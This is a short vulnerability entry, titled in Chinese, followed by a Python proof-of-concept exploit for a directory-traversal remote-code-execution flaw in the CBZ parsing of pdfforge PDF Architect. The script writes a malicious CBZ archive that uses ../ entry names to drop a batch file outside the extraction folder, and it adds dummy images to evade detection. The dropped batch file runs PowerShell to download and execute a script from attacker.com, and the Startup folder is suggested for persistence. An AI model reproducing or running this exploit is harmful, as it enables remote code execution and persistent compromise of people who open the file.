CVE-2025-14420 pdfforge PDF Architect CBZ文件解析目录遍历远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-14420 PoC - CBZ Directory Traversal RCE # Generate malicious CBZ file for pdfforge PDF Architect import zipfile import os import sys def create_malicious_cbz(output_path, target_path, malicious_content): """ Create a malicious CBZ file with path traversal payload Args: output_path: Path to save the malicious CBZ file target_path: Path to write to (use ../ for traversal) malicious_content: Content to write to the target file """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as cbz: # Path traversal payload - escape from extraction directory malicious_filename = f"../../../../{target_path}" # Add malicious file with path traversal info = zipfile.ZipInfo(malicious_filename) info.compress_type = zipfile.ZIP_DEFLATED cbz.writestr(info, malicious_content) # Add legitimate-looking content to evade detection cbz.writestr('page1.jpg', b'\x00' * 100) # Dummy image data cbz.writestr('page2.jpg', b'\x00' * 100) print(f"[+] Malicious CBZ created: {output_path}") print(f"[+] Payload will write to: {target_path}") def create_rce_payload(): """ Generate a reverse shell or command execution payload Modify this function based on target system """ # Example: Write a batch script for Windows payload = '''@echo off powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" ''' return payload.encode() if __name__ == '__main__': # Configuration output_cbz = 'malicious.cbz' # Target paths for different exploitation scenarios: # 1. Write to startup folder (persistence) # startup_path = 'Users/Public/Startup/payload.bat' # 2. Write to temp folder for execution temp_path = 'Temp/malicious.bat' # Generate payload payload = create_rce_payload() # Create malicious CBZ create_malicious_cbz(output_cbz, temp_path, payload) print('[+] PoC generated. Target must open this CBZ file with vulnerable PDF Architect.')